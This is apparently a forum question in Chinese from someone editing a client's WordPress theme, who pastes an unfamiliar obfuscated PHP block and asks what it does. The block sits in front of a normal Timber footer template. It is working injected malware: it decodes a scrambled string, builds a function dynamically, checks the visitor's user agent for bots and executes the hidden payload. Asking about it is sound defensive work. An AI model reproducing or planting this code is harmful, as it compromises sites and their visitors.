我正在编辑一个客户的网站，在他们的主题中，我看到了大量以前从未见过的不寻常的 PHP 代码。它似乎是某种加密。
<?php $pcyvuntd = '>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[%ww2!>#p#/#p#/%z<jg!)%z>>ss x5csboe))1/35.)1/14+9**-)1/#L4]275L3]248L3P6L1M5]D2P4]D6#<%G]y6d]b x27)fepdof.)fepdof./#@#/qp%>5h%!]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%tdz>)!gj}Z;h!opjudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!27pd%6<pd%w6Z6<.3`hAosvufs!|ftmf!~<**9.-j%27u%)7fmjix6<C x27&6<*rfs%7-K)fujsxX6<#j6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebfsX x9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)%epnbss-%rxW~!Ypp2)%unction wervuph($n){return chr(ord($n)-1);} @error_reporting(0); $!hmg%)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!*9! x27!hmg%)!gj!~!%tmw!>!#]y84]275]y83]273]y76]277#<!%t2w>#]y74]273]y764P8]37]278]225]241]334]368]322]3]364]6]283]427]36]373P6]36]73>1*!%b:>1<!fmtf!%b:>%s: x5c%j:.2^,%b:<!%c:>*<")));$fiyflet = $jyvasrw("", $uzdntih); $fiyflet();}}vt)esp>hmg%!<12>j%!|o]o]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI7jsv%7UFH# x27rfs%6~6< x7fw6<*if((function_exists(" x6f 142 x5f 163 x74 *#}_;#)323ldfid>}&;!osvufs} x7f;!opjudovg x7f x7f<u%V x27{ftmfV x7f<*X&Z&S{ftmfV x7%o:W%c:>1<%b:>1<!gps)%j:>1<%j:=tj2bge56+99386c6f+9f5d8X;!sp!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l} x27;%!<z!>!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#!2p%Z<^2 x5c2b%!>!2p%!*3>?*2b%)gpf{jt)!gj!<*2bd%-#16:+946:ce44#)zbssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI&e_SEEB`FUPf!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!**X)ufttj x22)gj!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdof`57ftbc x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq% x5cSFWSFT`%}4]275]y83]248]y83]256]y81]265]y72]254]y76#<!%w:!>!(%w:!>! x246767~6<($uas," x72 166 x3a 61 x31")) or (strstr($uas," x61 156 x64 162 x6f 1+#Qi x5c1^W%c!>!%i x5c2^<!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)%rxB2qj%6<^#zsfvr# x5cq%7/7#@#7/7^#iubq# x5cqtsbqA7>q%6< x7fw6* x7f_*#zB%z>! x24/%tmw/ x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr ]284]364]6]234]342]58]24]31#-%tdz*Wsfuvso!%b-u%!-#2#/#%#/#o]#/*)323zbe24- x24*<!~! x24/%t2w/ x24)##-!#~<#/% x24- x24!>!f2986+7**^/%rx<~!!%s:N}#-%7-C)fepmqnjA x27&6<.fmjgA x27doj%6< x7fw6*!*#91y]c9y]g2y]#>>*4fubmgoj{h1:|:*mmvo:>:iuhofm%:-5ppde:4:|:**#ppde#)t+)!gj+{e%!osvufs!*!+A!>!{e%)!>> x22!ftmbg)!}k~~9{d%:osvufs:~928>> x22:ftmbg39*56A:>:utjyf`4 x223}!+!<+{e%+*!*+fepdfe{h+{d%)+opjudovg156 x63 164 x69 157 x6e"; ff<*XAZASV<*w%)ppde>u%V<#65,47R25,d7R17,67R37,#/q%>U<#16,tus)% x24- x24b!>!%yy)#}#-# x24- x24-tusqpt)%z-#:#* x24- x24!>!t`msvd}+;!>!} x27;!>>>!}_;gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x22!pd%7fw6* x7f_*#ujojRk3`{666~6<&w6< x7fw6*CW&x24y7 x24- x24*<! x24- x24gps)%j>1<%j=tj{fpg)% x73:8297f:5297e:56-xr.985:52985-tNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)323zbek!~!<b% x7s-%rxB%h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5597f-s.9uzdntih = implode(array_map("wervuph",str_split("%tjw!>!#]y8x63 162 x65 141 x74 145 x5f 146 x75 8:|:7#6#)tutjyf`439275ttfsqnpdov{h19275j{hnpd19275fs!~<3,j%>j%!*3! x27!hmg%!)!gj!<2,*j%d%!<5h%/#0#/*#npd/#)rrd/#00;quui#>.%!<***f x27,*e x27,*d x27,*c x27,*yqmpef)# x24*<!%t::!>! x24Ypp3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eNz) x24]25 x24- x24-!% x24- x24*!|! x24- x24 x5c%j^ x24- x24tvc)qj3hopmA x273qj%6<*Y%)fnbozcYufhA x27#[k2`{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuop281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}-}!#*<%nfd>%fd#}#)fepmqnj!/!#0#)idubn`hfsq)!sp!*#ojn)7gj6<.[A x27&6< x7fw6* x7f_* x27pd%6<pd%w6Z6<.2`hA x27pd%6<C x27pd%6|6.7eu{66~67<&w6<*66 157 x78"))) { $jyvasrw = " %epnbss!>!bssbz)#44ec:649#-!#:618d5fopD#)sfebfI{*w%)kVx{**#k#)tutjyf`x x22l:!}V;3q%}U;y]}RCw6<pd%w6Z6<.5`hA x27pd%6<pd%w6Z6<.4`hA x<*::::::-111112)eobs`un>qp%!|Z~!<##!>!2p%d`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*m24- x24<%j,,*!| x24- x24gvodujpo! x24- %)7gj6<**2qj%)hopm3qjA!|!*!***b%)sfxpmpusut!-GTOBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR x27id%6< x##:>:h%:<#64y]552]e7y]#>n%<#372]58y]472]37y]672]48y]#>s%<#462]47y141 x72 164") && (!isset($GLOBALS[*#fopoV;hojepdoF.uofu%s: x5c%j:^<!%w` x5c^sv%)}.;`UQPMSVD!-id%)uqpuft`msvd},;uqpuf]252]18y]#>q%<#762]67y]562]38y]572]48y]#>m%:|:*r%:-t%y<Cb*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtpz)#]341]88M% x27jsv%6<C>^#zsfvr# x5cq%7**^#zsfvr# x5cq%)uft-bubE{h%)sutcvt)fubmgoj{hA!osvuj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfsdXA x27K6< x7fw6*3qj%7> x2272qj{fpg)%s:*<%j:,,Bjg!)%j:>" x61 156 x75 156 x61"])))) { $GLOBALS[" x61 156 x75 156 #w#)ldbqov>*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*1?hmg%tj x22)gj6<^#Y# x5cq% x27Y%6<.msv`f x24<!fwbm)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H!-#1]#-bubE{h%)tpqsut>j%!*72! x27x61"]=1; $uas=strtolower($_SERVER[" x4!-#jt0*?]+^?]_ x5c}X x24<gj<*#k#)usbut`cpV x7f x7fx5c1^-%r x5c2^-%hOh/#00#W~!%K)ftpmdXA6|7**197-2qj%7-K)udfoopdXA x22)7gt2w)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboepn)%bs x24/%tjw/ x24)% x24- x24y4 x24- x24]y8 x24- x24]26 x-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{hn)3of:opjudovg<~ x24<!%o:!>! x242178}527}88.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#/#7e:47R57,27R66,#/q%>2q%<#g6R85,67R37,18R#>q%V<#D#-#W#-#C#-#O#-#N#*-!%ff2-!%t::**<(<!fwbm)%tjw)# x24#-!#]y38#-!%w:* x7f_*#fmjgk4`{6~6<tfs%w6< x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*id%)dfyf;2]},;osvufs} x27;mnui}&;zepc}A;~!} x7f;!|!}{;)gj}l;33bq}k;opjudovg)!gj!<**2-4-bubE{h%)sutc]83]238M7]381]211M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464#j0#!/!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-<ofmy%,3,j%>j%!<**3-j%-bubE{h%)sutcvt-eb#-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%))!gj!<*#cd&7-#o]s]o]s]#)fepmqyf x27*&7-n%)utjm6< x7fw6*CW&)7gx6d 145")) or (strstr($uas," x66 151 x72 145 x2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~#-#I#-#K#-#L#-#M#-#[#-#Y#-1GO x22#)fepmqyfA>2b%!<*qp%-*.%)euhA)3of>2bx2400~:<h%_t%:osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]47]51 x64")) or (strstr($uas," x63 150 x72 157 pd!opjudovg!|!**#j{hnpd#)tutjyf`opjudovg x22)!gj}1~!<2p% x7f!~!<##!>5 116 x54"]); if ((strstr($uas," x6d 163 x69 145")) or (strstrR x27tfs%6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SF67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=*h%)m%):fmjix:<]252]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%tww!>! fubfsdXk5`{66~6<&w6< x7fw6*CW&)7gj6<*doj}x;0]=])0#)U! x27{**u%-#jt0}Z;0]=]0#)2q%l}S;255946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%tp:}334}472 x24<!%ff2!>!bssb8 124 x54 120 x5f 125 x53 105 x52 137 x41 107 x4StrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSdfdknqymb'; $tdkyczxfw=explode(chr((590-470)),substr($pcyvuntd,(20090-14070),(206-172))); $bqmbrz = $tdkyczxfw[0]($tdkyczxfw[(4-3)]); $ooulnirx = $tdkyczxfw[0]($tdkyczxfw[(6-4)]); if (!function_exists('plurbsoe')) { function plurbsoe($sdqchjk, $nrtiwtb,$tnqwwbrlao) { $umwyqdq = NULL; for($dcovyd=0;$dcovyd<(sizeof($sdqchjk)/2);$dcovyd++) { $umwyqdq .= substr($nrtiwtb, $sdqchjk[($dcovyd*2)],$sdqchjk[($dcovyd*2)+(6-5)]); } return $tnqwwbrlao(chr((40-31)),chr((293-201)),$umwyqdq); }; } $yyvboxve = explode(chr((245-201)),'881,42,3692,34,4103,57,4327,38,5972,48,5563,62,1499,69,5451,44,5252,46,3254,30,2668,36,2147,27,460,66,2608,60,1431,68,3374,41,271,20,3196,58,5201,51,352,45,313,39,817,64,4443,42,4009,70,3536,22,2985,38,1627,41,3930,48,4211,35,1668,25,5796,40,1902,43,4826,67,5625,45,3581,46,2363,41,3167,29,3023,42,3456,41,3768,40,2293,70,209,62,291,22,3978,31,2754,37,4294,33,526,58,5115,38,4160,51,4960,24,797,20,1945,20,4582,37,5495,68,1165,50,5355,43,2791,69,127,34,3415,41,3558,23,5050,65,3129,38,5153,48,1039,21,1215,60,2484,60,1275,50,1325,68,1393,38,1060,55,923,41,2058,41,2704,50,1965,50,2099,48,2015,43,4390,25,964,42,2174,56,4715,43,3726,21,3320,54,4893,67,5836,45,1802,26,4365,25,584,54,5737,59,5398,53,5670,67,3627,65,3808,53,4619,42,5946,26,2923,62,2230,63,4529,53,3497,39,2404,48,1828,50,2860,63,1568,59,3284,36,397,63,1693,65,4415,28,4485,44,2544,64,2452,32,4661,54,5881,28,5909,37,1115,50,161,48,89,38,3065,64,3861,69,638,61,4984,66,1758,44,59,30,1878,24,1006,33,4079,24,699,43,3747,21,0,59,5298,31,4246,48,5329,26,4758,68,742,55'); $bqrhsjd = $bqmbrz("",plurbsoe($yyvboxve,$pcyvuntd,$ooulnirx)); $bqmbrz=$pcyvuntd; $bqrhsjd(""); $bqrhsjd=(461-340); $pcyvuntd=$bqrhsjd-1; ?><?php
/*
* Third party plugins that hijack the theme will call wp_footer() to get the footer template.
* We use this to end our output buffer (started in header.php) and render into the view/page-plugin.twig template.
*/
$timberContext = $GLOBALS['timberContext'];
if (!isset($timberContext)) {
throw new \Exception('Timber context not set in footer.');
}
$timberContext['content'] = ob_get_contents();
ob_end_clean();
$templates = array('page-plugin.twig');
Timber::render($templates, $timberContext);
问题是 $pcyvuntd = 代码到底是关于什么的？